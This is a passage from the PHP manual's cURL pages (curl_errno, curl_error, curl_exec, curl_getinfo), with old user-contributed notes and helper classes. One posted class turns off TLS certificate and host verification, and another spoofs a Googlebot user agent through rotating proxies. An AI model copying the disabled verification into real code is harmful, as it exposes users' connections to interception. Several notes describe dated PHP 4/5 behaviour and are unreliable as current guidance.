[2] => 'CURLE_FAILED_INIT',
[3] => 'CURLE_URL_MALFORMAT',
[4] => 'CURLE_URL_MALFORMAT_USER',
[5] => 'CURLE_COULDNT_RESOLVE_PROXY',
[6] => 'CURLE_COULDNT_RESOLVE_HOST',
[7] => 'CURLE_COULDNT_CONNECT',
[8] => 'CURLE_FTP_WEIRD_SERVER_REPLY',
[9] => 'CURLE_REMOTE_ACCESS_DENIED',
[11] => 'CURLE_FTP_WEIRD_PASS_REPLY',
[13] => 'CURLE_FTP_WEIRD_PASV_REPLY',
[14]=>'CURLE_FTP_WEIRD_227_FORMAT',
[15] => 'CURLE_FTP_CANT_GET_HOST',
[17] => 'CURLE_FTP_COULDNT_SET_TYPE',
[18] => 'CURLE_PARTIAL_FILE',
[19] => 'CURLE_FTP_COULDNT_RETR_FILE',
[21] => 'CURLE_QUOTE_ERROR',
[22] => 'CURLE_HTTP_RETURNED_ERROR',
[23] => 'CURLE_WRITE_ERROR',
[25] => 'CURLE_UPLOAD_FAILED',
[26] => 'CURLE_READ_ERROR',
[27] => 'CURLE_OUT_OF_MEMORY',
[28] => 'CURLE_OPERATION_TIMEDOUT',
[30] => 'CURLE_FTP_PORT_FAILED',
[31] => 'CURLE_FTP_COULDNT_USE_REST',
[33] => 'CURLE_RANGE_ERROR',
[34] => 'CURLE_HTTP_POST_ERROR',
[35] => 'CURLE_SSL_CONNECT_ERROR',
[36] => 'CURLE_BAD_DOWNLOAD_RESUME',
[37] => 'CURLE_FILE_COULDNT_READ_FILE',
[38] => 'CURLE_LDAP_CANNOT_BIND',
[39] => 'CURLE_LDAP_SEARCH_FAILED',
[41] => 'CURLE_FUNCTION_NOT_FOUND',
[42] => 'CURLE_ABORTED_BY_CALLBACK',
[43] => 'CURLE_BAD_FUNCTION_ARGUMENT',
[45] => 'CURLE_INTERFACE_FAILED',
[47] => 'CURLE_TOO_MANY_REDIRECTS',
[48] => 'CURLE_UNKNOWN_TELNET_OPTION',
[49] => 'CURLE_TELNET_OPTION_SYNTAX',
[51] => 'CURLE_PEER_FAILED_VERIFICATION',
[52] => 'CURLE_GOT_NOTHING',
[53] => 'CURLE_SSL_ENGINE_NOTFOUND',
[54] => 'CURLE_SSL_ENGINE_SETFAILED',
[55] => 'CURLE_SEND_ERROR',
[56] => 'CURLE_RECV_ERROR',
[58] => 'CURLE_SSL_CERTPROBLEM',
[59] => 'CURLE_SSL_CIPHER',
[60] => 'CURLE_SSL_CACERT',
[61] => 'CURLE_BAD_CONTENT_ENCODING',
[62] => 'CURLE_LDAP_INVALID_URL',
[63] => 'CURLE_FILESIZE_EXCEEDED',
[64] => 'CURLE_USE_SSL_FAILED',
[65] => 'CURLE_SEND_FAIL_REWIND',
[66] => 'CURLE_SSL_ENGINE_INITFAILED',
[67] => 'CURLE_LOGIN_DENIED',
[68] => 'CURLE_TFTP_NOTFOUND',
[69] => 'CURLE_TFTP_PERM',
[70] => 'CURLE_REMOTE_DISK_FULL',
[71] => 'CURLE_TFTP_ILLEGAL',
[72] => 'CURLE_TFTP_UNKNOWNID',
[73] => 'CURLE_REMOTE_FILE_EXISTS',
[74] => 'CURLE_TFTP_NOSUCHUSER',
[75] => 'CURLE_CONV_FAILED',
[76] => 'CURLE_CONV_REQD',
[77] => 'CURLE_SSL_CACERT_BADFILE',
[78] => 'CURLE_REMOTE_FILE_NOT_FOUND',
[79] => 'CURLE_SSH',
[80] => 'CURLE_SSL_SHUTDOWN_FAILED',
[81] => 'CURLE_AGAIN',
[82] => 'CURLE_SSL_CRL_BADFILE',
[83] => 'CURLE_SSL_ISSUER_ERROR',
[84] => 'CURLE_FTP_PRET_FAILED',
[84] => 'CURLE_FTP_PRET_FAILED',
[85] => 'CURLE_RTSP_CSEQ_ERROR',
[86] => 'CURLE_RTSP_SESSION_ERROR',
[87] => 'CURLE_FTP_BAD_FILE_LIST',
[88] => 'CURLE_CHUNK_FAILED');

?>
bozo_z_clown at yahoo dot com 14-Jun-2009 03:40
Note that you can detect errors using curl_multi_info_read() in the curl_multi_exec() loop that don't show up later using curl_errno().  This seems particularly true of connection errors.
Jacques Manukyan 28-Dec-2007 08:43
The error codes come directly from the curl source code. Specifically, look at the curl.h file and it will tell you exactly what each returned code does.

Most of these codes are cryptic but at least you can get a clue as to what the errors are.

Here is a quick snippet of what the errors in the curl.h look like:

  CURLE_OK = 0,
  CURLE_UNSUPPORTED_PROTOCOL,    /* 1 */
  CURLE_FAILED_INIT,             /* 2 */
  CURLE_URL_MALFORMAT,           /* 3 */
  CURLE_URL_MALFORMAT_USER,      /* 4 - NOT USED */
  CURLE_COULDNT_RESOLVE_PROXY,   /* 5 */
  CURLE_COULDNT_RESOLVE_HOST,    /* 6 */
  CURLE_COULDNT_CONNECT,         /* 7 */
  CURLE_FTP_WEIRD_SERVER_REPLY,  /* 8 */

Note that code 0 means its not an error, it means success.
curl_copy_handle
curl_error
cURL Functions


Return a string containing the last error for the current session

curl_errno
curl_exec
cURL Functions
PHP Manual

curl_error

(PHP 4 >= 4.0.3, PHP 5)

curl_error — Return a string containing the last error for the current session

Description

string curl_error ( resource $ch )

Returns a clear text error message for the last cURL operation.

Parameters

ch

A cURL handle returned by curl_init().

Return Values

Returns the error message or '' (the empty string) if no error occurred.

Examples

Example #1 curl_error() example

<?php
// Create a curl handle to a non-existing location
$ch = curl_init('http://404.php.net/');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

if(curl_exec($ch) === false)
{
    echo 'Curl error: ' . curl_error($ch);
}
else
{
    echo 'Operation completed without any errors';
}

// Close handle
curl_close($ch);
?>

See Also

  • curl_errno() - Return the last error number
  • » Curl error codes

User Contributed Notes

mail at erwindoornbos dot nl 20-Apr-2009 12:23
While working with curl i got the following error: "empty reply from server".

Searching Google gave no solutions. So i just tried to replace the spaces from the url to %20 and it worked!

Hope this helps someone.
paul at paulmcgarry dot com 24-Nov-2008 05:00
For a 404 response to actually trigger an error as the example seems to be trying to demonstrate the following option should be set:

curl_setopt($ch,CURLOPT_FAILONERROR,true);

As per http://curl.haxx.se/libcurl/c/libcurl-errors.html

CURLE_HTTP_RETURNED_ERROR (22)
This is returned if CURLOPT_FAILONERROR is set TRUE and the HTTP server returns an error code that is >= 400. (This error code was formerly known as CURLE_HTTP_NOT_FOUND.)
noah dot figg at xpertimage dot com 13-Mar-2008 02:06
The return value for this function is actually an english description of the error, rather than an error number, FYI.
curl_errno
curl_exec
cURL Functions


Perform a cURL session

curl_error
curl_getinfo
cURL Functions
PHP Manual

curl_exec

(PHP 4 >= 4.0.2, PHP 5)

curl_exec — Perform a cURL session

Description

mixed curl_exec ( resource $ch )

Execute the given cURL session.

This function should be called after initializing a cURL session and all the options for the session are set.

Parameters

ch

A cURL handle returned by curl_init().

Return Values

Returns TRUE on success or FALSE on failure. However, if the CURLOPT_RETURNTRANSFER option is set, it will return the result on success, FALSE on failure.

Examples

Example #1 Fetching a web page

<?php
// create a new cURL resource
$ch = curl_init();

// set URL and other appropriate options
curl_setopt($ch, CURLOPT_URL, "http://www.example.com/");
curl_setopt($ch, CURLOPT_HEADER, 0);

// grab URL and pass it to the browser
curl_exec($ch);

// close cURL resource, and free up system resources
curl_close($ch);
?>

See Also

  • curl_multi_exec() - Run the sub-connections of the current cURL handle

User Contributed Notes

Travis 16-Jan-2012 11:49
Thank you so much sharky!!  You're response helped me greatly.
tolas777 at gmail dot com 11-Feb-2011 08:27
I was having a problem, for almost a week, of curl_exec() freezing/hanging when I made a request with it to a page that spends over an hour converting a large video file, and only afterwards sends control-data back to the calling script.

I'm using windows 7, WampServer-2.1d-64.exe, PHP 5.3.4, libcurl-7.21.3.

Here's the final solution;

On Fri, Feb 11, 2011 at 1:32 PM, Daniel Stenberg <daniel-of-haxx.se> wrote:
> On Fri, 11 Feb 2011, Tolas Anon wrote:
>
>>> It is also very easy for an application to enable the options as I've
>>> shown.
>>
>> Just not for the platforms i use, apparently.. :(
>
> Why not? A quick search for "tcp keepalive windows" shows this:
> http://msdn.microsoft.com/en-us/library/ms819735.aspx

This fixed my problem in the simple test AND in my application!
No need to send keep-alive bytes on the text/html level either.

I just added the "KeepAliveTime" setting with windows 7 regedit.exe in
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/services/Tcpip, as a
REG_DWORD value, set it to decimal 25000 (so 25 seconds), rebooted,
and it all works as i want it now..

Note that windows registry entries key names are case-sensitive, wrong
casing and they'll be deleted on restart.

Lots of thanks, Daniel. I would've never solved this on my own..

------------------------------------------------------
(now useless) details at:

http://curl.haxx.se/mail/lib-2011-02/0101.html

http://readlist.com/lists/lists.php.net/php-general/16/81195.html
slash.dash.dash.com 24-Jul-2010 12:58
[I was having a problem with] URLs not resolving I also tried cURL on the command line for a non-SSL request.  It failed.  wget failed.  Then, I realized my ID is 10T.

Remember kids, if you go from DHCP to static, update your DNS server list!
David from Code2Design.com 27-Jun-2010 07:44
Just in case anyone is looking for a a couple of simple functions [to help automate cURL processes for POST and GET queries] I thought I'd post these.

<?php

/**
 * Send a POST requst using cURL
 * @param string $url to request
 * @param array $post values to send
 * @param array $options for cURL
 * @return string
 */
function curl_post($url, array $post = NULL, array $options = array())
{
    $defaults = array(
        CURLOPT_POST => 1,
        CURLOPT_HEADER => 0,
        CURLOPT_URL => $url,
        CURLOPT_FRESH_CONNECT => 1,
        CURLOPT_RETURNTRANSFER => 1,
        CURLOPT_FORBID_REUSE => 1,
        CURLOPT_TIMEOUT => 4,
        CURLOPT_POSTFIELDS => http_build_query($post)
    );

    $ch = curl_init();
    curl_setopt_array($ch, ($options + $defaults));
    if( ! $result = curl_exec($ch))
    {
        trigger_error(curl_error($ch));
    }
    curl_close($ch);
    return $result;
}

/**
 * Send a GET requst using cURL
 * @param string $url to request
 * @param array $get values to send
 * @param array $options for cURL
 * @return string
 */
function curl_get($url, array $get = NULL, array $options = array())
{
    $defaults = array(
        CURLOPT_URL => $url. (strpos($url, '?') === FALSE ? '?' : ''). http_build_query($get),
        CURLOPT_HEADER => 0,
        CURLOPT_RETURNTRANSFER => TRUE,
        CURLOPT_TIMEOUT => 4
    );

    $ch = curl_init();
    curl_setopt_array($ch, ($options + $defaults));
    if( ! $result = curl_exec($ch))
    {
        trigger_error(curl_error($ch));
    }
    curl_close($ch);
    return $result;
}
?>
ivanargulo at NOSPAM gmail dot com 12-Feb-2010 03:41
If having problems with special chars or entities (like á, ä, à, etc.), using the ISO encode, just decode the values given with the function utf8_decode().

For example:

The returned string is the following:

<xml><name>IvÃ¡n</name></xml>

Using utf8_decode, the result in ISO is

<xml><name>Iván</name></xml>
petermiller1986[nospam] at gmail dot com 30-Jul-2009 01:57
so far i have not come across any code or library file that will
extract cookie information from a http header, so i've written
one.

there are two files:
file1.php - acts as server and sets the cookies
file2.php - acts as browser and retrieves the cookies set by file1

/*****file1.php****/
<?php
/*set 3 cookies at the end of the execution of this script*/

setcookie("cookie1","cookie 1 data", time() - 123123);
setcookie("cookie2","cookie 2 data", time() + 54326);
setcookie("cookie3","cookie 3 data", time());
?>
/****end file1.php**/

/*****file2.php****/
<?php
$url = "http://[host][uri]/file1.php"; /*insert desired host and
uri*/
$browser_id = "some crazy browser";
$curl_handle = curl_init();
$options = array
(
    CURLOPT_URL=>$url,
    CURLOPT_HEADER=>true,
    CURLOPT_RETURNTRANSFER=>true,
    CURLOPT_FOLLOWLOCATION=>true,
    CURLOPT_USERAGENT=>$browser_id
);
curl_setopt_array($curl_handle,$options);
$server_output = curl_exec($curl_handle);
curl_close($curl_handle);

/*construct the http search pattern for cookies*/
$pattern  = "/Set-Cookie:";
$pattern .= "(?P<name>.*?)=(?P<value>.*?); ";
$pattern .= "expires=(?P<expiry_dayname>\w+), ";
$pattern .= "(?P<expiry_day>\d+)-
(?P<expiry_month>\w+)-(?P<expiry_year>\d+) ";
$pattern .= "(?P<expiry_hour>\d+):
(?P<expiry_minute>\d+):(?P<expiry_second>\d+) ";
$pattern .= "(?P<expiry_zone>\w+)/";
preg_match_all($pattern,$server_output,$matches);

$table_string = "
<h1>cookie information table</h1>
<table border='1'>
    <tr>
        <td>cookie name</td>
        <td>value</td>
        <td>expiry day</td>
        <td>expiry date</td>
        <td>expiry time</td>
        <td>expiry timezone</td>
    </tr>
";
$i=0;
foreach($matches[name] as $cookie_name)
{
    $table_string .= "
    <tr>
        <td>$cookie_name</td>

        <td>{$matches[value][$i]}</td>

        <td>{$matches[expiry_dayname][$i]}</td>

        <td>{$matches[expiry_day][$i]}-
        {$matches[expiry_month][$i]}-
        {$matches[expiry_year][$i]}</td>

        <td>{$matches[expiry_hour][$i]}:
        {$matches[expiry_minute][$i]}:
        {$matches[expiry_second][$i]}</td>

        <td>{$matches[expiry_zone][$i]}</td>
    </tr>
    ";
    $i++;
}
$table_string .= "</table>";
echo $table_string;
?>
/****end file2.php**/

i based this code on the following http header:
(obtained by going: echo $server_output; in file2.php)

HTTP/1.1 200 OK Date: Thu, 30 Jul 2009 07:10:07 GMT
Server: Apache/2.2.11 (Win32) DAV/2 mod_ssl/2.2.11
OpenSSL/0.9.8i PHP/5.2.9 X-Powered-By: PHP/5.2.9
Set-Cookie: cookie1=cookie+1+data; expires=Wed,
29-Jul-2009 03:23:27 GMT Set-Cookie
cookie2=cookie+2+data; expires=Wed, 29-Jul-2009 03:23:27
GMT Set-Cookie: cookie3=cookie+3+data; expires=Wed,
29-Jul-2009 03:23:27 GMT Content-Length: 196
Content-Type: text/html

if your header differs from this one then $pattern in file2.php
will need to be modified accordingly. hopefully this code will save
you a lot of time though!
Mark Omohundro, ajamyajax.com 14-Nov-2008 10:09
Just a simple curl_exec() example with a twist: I use the familiar http response status code returned from curl_getinfo() to put either data, or a custom error message + curl_error() into a single string.  I find this useful when the response ends up in a <div> or <span> tag.

<?php
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
...

$output = curl_exec($ch);
$info = curl_getinfo($ch);

if ($output === false || $info['http_code'] != 200) {
  $output = "No cURL data returned for $url [". $info['http_code']. "]";
  if (curl_error($ch))
    $output .= "\n". curl_error($ch);
  }
else {
  // 'OK' status; format $output data if necessary here:
  ...
}
// then return or display the single string $output
?>
lmshad at wp dot pl dot foo dot bar 29-Jul-2008 10:14
example:
   echo CurlTool::fetchContent('www.onet.pl');
   CurlTool::downloadFile('http://download.gadu-gadu.pl/gg77.exe', 'c:/');

<?php
error_reporting(E_STRICT | E_ALL);
class CurlTool {
    public static $userAgents = array(
        'FireFox3' => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9) Gecko/2008052906 Firefox/3.0',
        'GoogleBot' => 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
        'IE7' => 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)',
        'Netscape' => 'Mozilla/4.8 [en] (Windows NT 6.0; U)',
        'Opera' => 'Opera/9.25 (Windows NT 6.0; U; en)'
        );
    public static $options = array(
        CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9) Gecko/2008052906 Firefox/3.0',
        CURLOPT_AUTOREFERER => true,
        CURLOPT_COOKIEFILE => '',
        CURLOPT_FOLLOWLOCATION => true
        );

    private static $proxyServers = array();
    private static $proxyCount = 0;
    private static $currentProxyIndex = 0;

    public static function addProxyServer($url) {
        self::$proxyServers[] = $url;
        ++self::$proxyCount;
    }

    public static function fetchContent($url, $verbose = false) {
        if (($curl = curl_init($url)) == false) {
            throw new Exception("curl_init error for url $url.");
        }

        if (self::$proxyCount > 0) {
            $proxy = self::$proxyServers[self::$currentProxyIndex++ % self::$proxyCount];
            curl_setopt($curl, CURLOPT_PROXY, $proxy);
            if ($verbose === true) {
                echo "Reading $url [Proxy: $proxy] ... ";
            }
        } else if ($verbose === true) {
            echo "Reading $url ... ";
        }

        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
        curl_setopt_array($curl, self::$options);

        $content = curl_exec($curl);
        if ($content === false) {
            throw new Exception("curl_exec error for url $url.");
        }

        curl_close($curl);
        if ($verbose === true) {
            echo "Done.\n";
        }

        $content = preg_replace('#\n+#', ' ', $content);
        $content = preg_replace('#\s+#', ' ', $content);

        return $content;
    }

    public static function downloadFile($url, $fileName, $verbose = false) {
        if (($curl = curl_init($url)) == false) {
            throw new Exception("curl_init error for url $url.");
        }

        if (self::$proxyCount > 0) {
            $proxy = self::$proxyServers[self::$currentProxyIndex++ % self::$proxyCount];
            curl_setopt($curl, CURLOPT_PROXY, $proxy);
            if ($verbose === true) {
                echo "Downloading $url [Proxy: $proxy] ... ";
            }
        } else if ($verbose === true) {
            echo "Downloading $url ... ";
        }

        curl_setopt_array($curl, self::$options);

        if (substr($fileName, -1) == '/') {
            $targetDir = $fileName;
            $fileName = tempnam(sys_get_temp_dir(), 'c_');
        }
        if (($fp = fopen($fileName, "wb")) === false) {
            throw new Exception("fopen error for filename $fileName");
        }
        curl_setopt($curl, CURLOPT_FILE, $fp);

        curl_setopt($curl, CURLOPT_BINARYTRANSFER, true);
        if (curl_exec($curl) === false) {
            fclose($fp);
            unlink($fileName);
            throw new Exception("curl_exec error for url $url.");
        } elseif (isset($targetDir)) {
            $eurl = curl_getinfo($curl, CURLINFO_EFFECTIVE_URL);
            preg_match('#^.*/(.+)$#', $eurl, $match);
            fclose($fp);
            rename($fileName, "$targetDir{$match[1]}");
            $fileName = "$targetDir{$match[1]}";
        } else {
            fclose($fp);
        }

        curl_close($curl);
        if ($verbose === true) {
            echo "Done.\n";
        }
        return $fileName;
    }
}
?>
alan at forsyth dot cz 06-Jun-2008 03:59
Great class Roman - just one fix:

Replace the following line:
<?php
if (isset($params['host']) && $params['host'])      $header[]="Host: ".$host;
?>

with this:
<?php
if (isset($params['host']) && $params['host'])      $header[]="Host: " . $params['host'];
?>

CURL automatically creates the host parameter (since it is required for HTTP/1.1 requests), so you don't need to set it. But if you created a custom host parameter, the above bug would cause a '400 Bad Request' response due to invalid host specified.

Also when copying and pasting the class code, make sure that no line breaks occur (for example in the $header and $user_agent definitions etc.). It will still be valid PHP, but the HTTP request will not be valid, and you may get a '400 Bad Request' response from the server.

It took me a little playing around with an HTTP Sniffer before I finally got an HTTP POST request fully working!

Thanks,
Alan
roman dot ivasyuk at gmail dot com 16-Jan-2008 04:11
<?php
class CurlRequest
{
    private $ch;
    /**
     * Init curl session
     *
     * $params = array('url' => '',
     *                    'host' => '',
     *                   'header' => '',
     *                   'method' => '',
     *                   'referer' => '',
     *                   'cookie' => '',
     *                   'post_fields' => '',
     *                    ['login' => '',]
     *                    ['password' => '',]
     *                   'timeout' => 0
     *                   );
     */
    public function init($params)
    {
        $this->ch = curl_init();
        $user_agent = 'Mozilla/5.0 (Windows; U;
Windows NT 5.1; ru; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9';
        $header = array(
        "Accept: text/xml,application/xml,application/xhtml+xml,
text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5",
        "Accept-Language: ru-ru,ru;q=0.7,en-us;q=0.5,en;q=0.3",
        "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7",
        "Keep-Alive: 300");
        if (isset($params['host']) && $params['host'])      $header[]="Host: ".$host;
        if (isset($params['header']) && $params['header']) $header[]=$params['header'];

        @curl_setopt ( $this -> ch , CURLOPT_RETURNTRANSFER , 1 );
        @curl_setopt ( $this -> ch , CURLOPT_VERBOSE , 1 );
        @curl_setopt ( $this -> ch , CURLOPT_HEADER , 1 );

        if ($params['method'] == "HEAD") @curl_setopt($this -> ch,CURLOPT_NOBODY,1);
        @curl_setopt ( $this -> ch, CURLOPT_FOLLOWLOCATION, 1);
        @curl_setopt ( $this -> ch , CURLOPT_HTTPHEADER, $header );
        if ($params['referer'])    @curl_setopt ($this -> ch , CURLOPT_REFERER, $params['referer'] );
        @curl_setopt ( $this -> ch , CURLOPT_USERAGENT, $user_agent);
        if ($params['cookie'])    @curl_setopt ($this -> ch , CURLOPT_COOKIE, $params['cookie']);

        if ( $params['method'] == "POST" )
        {
            curl_setopt( $this -> ch, CURLOPT_POST, true );
            curl_setopt( $this -> ch, CURLOPT_POSTFIELDS, $params['post_fields'] );
        }
        @curl_setopt( $this -> ch, CURLOPT_URL, $params['url']);
        @curl_setopt ( $this -> ch , CURLOPT_SSL_VERIFYPEER, 0 );
        @curl_setopt ( $this -> ch , CURLOPT_SSL_VERIFYHOST, 0 );
        if (isset($params['login']) & isset($params['password']))
            @curl_setopt($this -> ch , CURLOPT_USERPWD,$params['login'].':'.$params['password']);
        @curl_setopt ( $this -> ch , CURLOPT_TIMEOUT, $params['timeout']);
    }

    /**
     * Make curl request
     *
     * @return array  'header','body','curl_error','http_code','last_url'
     */
    public function exec()
    {
        $response = curl_exec($this->ch);
        $error = curl_error($this->ch);
        $result = array( 'header' => '',
                         'body' => '',
                         'curl_error' => '',
                         'http_code' => '',
                         'last_url' => '');
        if ( $error != "" )
        {
            $result['curl_error'] = $error;
            return $result;
        }

        $header_size = curl_getinfo($this->ch,CURLINFO_HEADER_SIZE);
        $result['header'] = substr($response, 0, $header_size);
        $result['body'] = substr( $response, $header_size );
        $result['http_code'] = curl_getinfo($this -> ch,CURLINFO_HTTP_CODE);
        $result['last_url'] = curl_getinfo($this -> ch,CURLINFO_EFFECTIVE_URL);
        return $result;
    }
}
?>

Example of use:
<?php
..........
try
        {
            $params = array('url' => 'http://www.google.com',
            'host' => '',
            'header' => '',
            'method' => 'GET', // 'POST','HEAD'
            'referer' => '',
            'cookie' => '',
            'post_fields' => '', // 'var1=value&var2=value
            'timeout' => 20
            );

            $this->curl->init($params);
            $result = $this->curl->exec();
            if ($result['curl_error'])    throw new Exception($result['curl_error']);
            if ($result['http_code']!='200')    throw new Exception("HTTP Code = ".$result['http_code']);
            if (!$result['body'])        throw new Exception("Body of file is empty");
            ...............
        }
        catch (Exception $e)
        {
                    echo $e->getMessage();
        }
?>
me at lawrencemok dot com 03-Dec-2007 11:52
Note that when you use CURL to POST things....e.g:

curl_setopt($ch, CURLOPT_POSTFIELDS, "string=This is a string");

The data part (e.g. "This is a string") inside the 3rd parameter should be applied with urlencode()

Otherwise, if you intend to send a string like "%2F", you will end up with a "/" on the receiving end, which can cause troubles. (e.g. serialize() data cannot be unserialize() becase of the change in string length).
Florian Holzhauer 12-Sep-2007 02:58
If you use apache2+mod_chroot with php5, add

LoadFile /lib/libnss_dns.so.2

to your mod_chroot config - this should resolver problems.
shanto at ultimawebsolutions dot com 17-Aug-2007 09:01
A function to retrieve the status code of an HTTP request using CURL:

    function getHttpResponseCode($url)
    {
        $ch = @curl_init($url);
        @curl_setopt($ch, CURLOPT_HEADER, TRUE);
        @curl_setopt($ch, CURLOPT_NOBODY, TRUE);
        @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, FALSE);
        @curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
        $status = array();
        $response = @curl_exec($ch);
        preg_match('/HTTP\/.* ([0-9]+) .*/', $response, $status);
        return $status[1];
    }
test at test dot com 13-Aug-2007 06:43
If you see a "0" at the end of the output, you might want to switch to HTTP/1.0:

curl_setopt($ch, CURLOPT_HTTP_VERSION, 1.0);
lukasl at ackleymedia dot com 06-Oct-2006 07:52
Thank you for sharing this.  I was wondering why my result was 1.

To get around this in a safe way, this is how I check if the result is valid.

$ch = curl_init(); /// initialize a cURL session
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, true);
$xmlResponse = curl_exec ($ch);
curl_close ($ch);

if (!is_string($xmlResponse) || !strlen($xmlResponse)) {
    return $this->_set_error( "Failure Contacting Server" );
} else {
    return $xmlResponse;
}
04-Oct-2006 01:41
Be careful when using curl_exec() and the CURLOPT_RETURNTRANSFER option. According to the manual and assorted documentation:
Set CURLOPT_RETURNTRANSFER to TRUE to return the transfer as a string of the return value of curl_exec() instead of outputting it out directly.

When retrieving a document with no content (ie. 0 byte file), curl_exec() will return bool(true), not an empty string. I've not seen any mention of this in the manual.

Example code to reproduce this:
<?php

    // fictional URL to an existing file with no data in it (ie. 0 byte file)
    $url = 'http://www.example.com/empty_file.txt';

    $curl = curl_init();

    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($curl, CURLOPT_HEADER, false);

    // execute and return string (this should be an empty string '')
    $str = curl_exec($curl);

    curl_close($curl);

    // the value of $str is actually bool(true), not empty string ''
    var_dump($str);

?>
J�rgen Tjern� 08-Mar-2005 06:12
If you've got problems with curl_exec not working, you should rather check curl_errno and curl_error than using commandline curl, like so:

(since this is easier, and also allows you to check for errors runtime, which is a vital part of any well-design piece of code. ;)

<?php
$creq = curl_init();
curl_setopt($creq, CURLOPT_URL, "http://www.foo.internal");
curl_exec($creq);

/* To quote curl_errno documentation:
     Returns the error number for the last cURL operation on the resource ch, or 0 (zero) if no error occurred. */
if (curl_errno($creq)) {
    print curl_error($creq);
} else {
    curl_close($creq);
}
?>
landon at phazeforward dot com 01-Dec-2004 03:43
If your curl installation is not compiled with SSL support you will beat your head against a wall when trying to figure out why curl_exec() is failing to fail or do anything else ...

If you run into a situation where your call to curl_exec is not returning anything you should try the same call with the command line curl
fifa_2k [-at-] sina [-dot-] com 28-Oct-2004 11:29
With php 4.3.9 or higher,you can upload file to ftp server on win32 system
<?php
function curl_upload($src) {
    $fn = basename($src);
    $dest = "ftp://user:passwd@server.com/incoming/$fn";
    $ch = curl_init();

    $fp = fopen($src,"r");
    curl_setopt($ch, CURLOPT_UPLOAD, 1);
    curl_setopt($ch, CURLOPT_TIMEOUT, 300);
    curl_setopt($ch, CURLE_OPERATION_TIMEOUTED, 300);
    curl_setopt($ch, CURLOPT_URL, $dest);
    curl_setopt($ch, CURLOPT_INFILE, $fp);
    curl_setopt($ch, CURLOPT_INFILESIZE, filesize($src));
    curl_exec($ch);
    fclose ($fp);
    $errorMsg = '';
    $errorMsg = curl_error($ch);
    $errorNumber = curl_errno($ch);
    curl_close($ch);
    return $errorNumber;
}
?>
lower version php (I tried on php 4.3.3) on win32 can't do this and may cause php crash even you use CURLOPT_READFUNCTION.
sybren at thirdtower dot com 01-Jul-2003 07:00
If you see a "0" at the end of the output, you might want to switch to HTTP/1.0:

curl_setopt($ch, CURLOPT_HTTP_VERSION, 1.0);
nagyp at hunaxon dot hu 26-Apr-2003 05:22
fyi:
It returns false if there's an error while executing the curl session, no matter how CURLOPT_RETURNTRANSFER is set.
colins at infofind dot com 24-Apr-2002 04:42
Checking the source, curl_exec seems to return FALSE on failure, TRUE on success (unless CURLOPT_RETURNTRANSFER is set 1, and then it returns the returned data).
ppruett at webengr dot com 28-Feb-2002 07:06
fyi - if you are having problems getting a
webpage to display in your webpage with
curl_setopt(CURLOPT_RETURNTRANSFER, 1);
due to version bugginess perhaps,
you may can use output control functions
like this to show a web page
inside your webpage:

<html><head><title>whatever</title></head>
<body>
<script language="php">
$ch = curl_init("http://www.cocoavillage.com/");
// use output buffering instead of returntransfer -itmaybebuggy
ob_start();
curl_exec($ch);
curl_close($ch);
$retrievedhtml = ob_get_contents();
ob_end_clean();
// if you intend to print this page with meta tags, better clear out any expiration tag
//    $result = preg_replace('/(?s)<meta http-equiv="Expires"[^>]*>/i', '', $retrievedhtml);
// for now I just want what is between the body tags so need
// somehow cut the header footer
$bodyandend = stristr($retrievedhtml,"<body");
// not needed- $positionstartbodystring = strlen($retrievedhtml)-strlen($bodyandend);
$positionendstartbodytag = strpos($bodyandend,">") + 1;
// got to change all to lowercase temporarily
// because end body may be upperlowercasemix
// to bad strirstr does not exist
$temptofindposition=strtolower($bodyandend);
$positionendendbodytag=strpos($temptofindposition,"</body");
//now to get the endbetween body tags
$grabbedbody=substr($bodyandend,
     $positionendstartbodytag,
           $positionendendbodytag);
//be sure to fix syntax broke by display on phpwebsite... like above line
print("$grabbedbody");
</script>
</body></html>

tada
sharky at im dot net dot ua 22-Nov-2001 05:08
If You want to hide result which return curl_exec

Use bufeered output.
For example:
-----------------------
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,"http://url.com/index.php");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "a=3&b=5");
//--- Start buffering
ob_start();
curl_exec ($ch);
//--- End buffering and clean output
ob_end_clean();

curl_close ($ch);
------------------

maybe it help somebody :))

----------
Best Regards
  Sharky
csaba at alum dot mit dot edu 22-May-2001 01:06
If you retrieve a web page and print it (so you can see it in your browser), and the page has an expiration, this expiration now applies to MyProgram.php and next time your program/page is called, even if it's grabbing a different web page, it will show what it just displayed.  In Netscape you can get rid of this by going into Edit, Options, Advanced, Cache, and clear out the Disk Cache.  But this is really annoying after short order.  The following prevents the above scenario:

<?php
function GetCurlPage ($pageSpec) {
    $ch = curl_init($pageSpec);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $tmp = curl_exec ($ch);
    curl_close ($ch);
// if you intend to print this page, better clear out expiration tag
    $tmp = preg_replace('/(?s)<meta http-equiv="Expires"[^>]*>/i', '', $tmp);
    return $tmp;
}
?>
curl_error
curl_getinfo
cURL Functions


Get information regarding a specific transfer

curl_exec
curl_init
cURL Functions
PHP Manual

curl_getinfo

(PHP 4 >= 4.0.4, PHP 5)

curl_getinfo — Get information regarding a specific transfer

Description

mixed curl_getinfo ( resource $ch [, int $opt = 0 ] )

Gets information about the last transfer.

Parameters

ch

A cURL handle returned by curl_init().

opt

This may be one of the following constants:

  • CURLINFO_EFFECTIVE_URL - Last effective URL
  • CURLINFO_HTTP_CODE - Last received HTTP code
  • CURLINFO_FILETIME - Remote time of the retrieved document, if -1 is returned the time of the document is unknown
